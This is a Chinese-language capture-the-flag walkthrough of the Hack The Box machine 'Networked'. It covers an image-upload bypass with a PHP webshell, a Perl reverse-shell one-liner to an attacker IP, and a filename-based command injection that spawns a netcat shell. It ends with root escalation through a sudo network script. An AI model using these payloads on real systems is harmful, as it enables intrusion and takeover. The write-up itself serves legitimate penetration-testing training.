­

Hack the box-Network

大家好,今天給大家帶來的CTF挑戰靶機是來自hackthebox的「Network」,hackthebox是一個非常不錯的在線實驗平台,能幫助你提升滲透測試技能和黑盒測試技能,平台上有很多靶機,從易到難,各個級別的靶機都有。

本級靶機難度為困難級別,任務是找到靶機上的user.txt和root.txt。

# 資訊枚舉

利用masscan探測開放埠

找到了22,80埠

Nmap探測22,80的服務資訊

# 漏洞利用

我們先檢查80埠的web,掃描web url

我們發現了幾個有趣的鏈接

========================================== =========================

ID Response Lines Word Chars Payload

========================================== =========================

000000088: 301 7 L 20 W 235 Ch "backup"

000000862: 301 7 L 20 W 236 Ch "uploads"

我們訪問url,backup是整個web備份壓縮文件,下載後發現有upload.php和photos.php

我們首先來檢查upload.php

<?php

require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {

if (!empty($_FILES["myFile"])) {

$myFile = $_FILES["myFile"];

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {

echo '<pre>Invalid image file.</pre>';

displayform();

}

if ($myFile["error"] !== UPLOAD_ERR_OK) {

echo "<p>An error occurred.</p>";

displayform();

exit;

}

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];

list ($foo,$ext) = getnameUpload($myFile["name"]);

$validext = array('.jpg', '.png', '.gif', '.jpeg');

$valid = false;

foreach ($validext as $vext) {

if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {

$valid = true;

}

}

if (!($valid)) {

echo "<p>Invalid image file</p>";

displayform();

exit;

發現upload.php可以上傳shell,而且upload.php直接檢查後綴和檢查文件類型;

我們可以上傳一個後綴為.php.png的圖片shell並且在文件內容裡面加上圖片頭,使我們通過文件檢測函數;

並且在photos.php中,我們發現我們可以訪問到我們上傳的圖片,只不過圖片名稱被改為以ip.php.png的格式。

if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {

continue; }

以下為我們webshell的內容

GIF8;

<?php system($_GET['cmd']); ?>

我們上傳成功了

# 低許可權shell

我們使用perl,回連我們的webshell

perl-e 'use Socket;$i="10.10.14.72";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用TTY獲得一個終端:

root@localhost:~/hackthebox_workspace/Networked_146# nc -lvp 4444 [85/85]

listening on [any] 4444 …

10.10.10.146: inverse host lookup failed: Unknown host

connect to [10.10.14.72] from (UNKNOWN) [10.10.10.146] 49656

sh: no job control in this shell

sh-4.2$ python -c 'import pty;pty.spawn("/bin/bash")'

python -c 'import pty;pty.spawn("/bin/bash")'

bash-4.2$ ^Z

[1]+ 已停止 nc -lvp 4444

root@localhost:~/hackthebox_workspace/Networked_146# stty raw -echo

root@localhost:~/hackthebox_workspace/Networked_146# nc -lvp 4444 reset

reset: unknown terminal type unnown

Terminal type? xterm

bash-4.2$ export SHELL=bash

bash-4.2$ export TERM=xterm-256color

bash-4.2$ stty rows 36 columns 144

連上後發現我們沒有許可權查看user.txt

並且發現user.txt在guly文件夾下面,我們進入到guly文件夾中發現了check_attack.php

<?php

require '/var/www/html/lib.php';

$path = '/var/www/html/uploads/';

$logpath = '/tmp/attack.log';

$to = 'guly';

$msg= '';

$headers = "X-Mailer: check_attack.phprn";

$files = array();

$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {

$msg='';

if ($value == 'index.html') {

continue;

}

#echo "————-n";

#print "check: $valuen";

list ($name,$ext) = getnameCheck($value);

$check = check_ip($name,$value);

if (!($check[0])) {

echo "attack!n";

# todo: attach file

file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

exec("rm -f $logpath");

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

echo "rm -f $path$valuen";

mail($to, $msg, $msg, $headers, "-F$value");

}

}

?>

check_attack.php檢查不應在uploads目錄中的文件並且刪除它,並且在rm命令中沒有作任何過濾,這樣使我們可以命令注入

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path = '/var/www/html/uploads/';

我們又回到uploads/目錄下面,並且創建一個注入文件

touch '; nc 10.10.14,72 1234 -c bash'

過了蠻久的,nc監聽的1234終於來資訊了,得到nc shell的第一件事,首先就是使它變得穩定

root@localhost:~/hackthebox_workspace/Networked_146#nc-lvp 1234

listening on [any] 1234 …

10.10.10.146: inverse host lookup failed: Unknown host

connect to [10.10.14.72] from (UNKNOWN) [10.10.10.146] 46548

ls

check_attack.php

crontab.guly

lse.sh

shell2

user.txt

python -c 'import pty;pty.spawn("/bin/bash")'

[guly@networked ~]$ ^Z

[1]+ 已停止 nc -lvp 1234

root@localhost:~/hackthebox_workspace/Networked_146# fg

nc -lvp 1234

^Z

[1]+ 已停止 nc -lvp 1234

root@localhost:~/hackthebox_workspace/Networked_146# stty raw -echo

root@localhost:~/hackthebox_workspace/Networked_146# nc -lvp 1234 reset

reset: unknown terminal type unknown

Terminal type? xterm

[guly@networked ~]$ export SHELL=bash

[guly@networked ~]$ export TERM=xterm-256color

[guly@networked ~]$ stty rows 36 columns 144

[guly@networked ~]$ cat user.txt

526cfc2305f17faaa***************

最終我們得到了user.txt

# 許可權提升

我們嘗試sudo -l我們發現guly可以在/usr/local/sbin/changename.sh以root身份運行而且無需輸入密碼

[guly@networked ~]$ sudo -l

Matching Defaults entries for guly on networked:

!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR

LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT

LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET

XAUTHORITY", secure_path=/sbin:/bin:/usr/sbin:/usr/bin

User guly may run the following commands on networked:

(root) NOPASSWD: /usr/local/sbin/changename.sh

檢查/usr/local/sbin/changename.sh

#!/bin/bash -p

cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF

DEVICE=guly0

ONBOOT=no

NM_CONTROLLED=no

EoF

regexp="^[a-zA-Z0-9_ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do

echo "interface $var:"

read x

while [[ ! $x =~ $regexp ]]; do

echo "wrong input, try again"

echo "interface $var:"

read x

done

echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly

done

/sbin/ifup guly0

changename.sh只是介面創建網路腳本,guly激活該介面,他要求這些選項的用戶:NAME,PROXY_METHOD,BROWSER_ONLY,BOOTPROTO

https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

我們根據上面的url可以發現,我們可以在NAME選項中注入命令

[guly@networked network-scripts]$ sudo /usr/local/sbin/changename.sh

interface NAME:

test bash

interface PROXY_METHOD:

test

interface BROWSER_ONLY:

test

interface BOOTPROTO:

test

[root@networked network-scripts]# id

uid=0(root) gid=0(root) groups=0(root)

[root@networked ~]# cat root.txt

0a8ecda83f1d81251***************

最後得到root.txt

手握日月摘星辰,安全路上永不止步。

– Khan攻防安全實驗室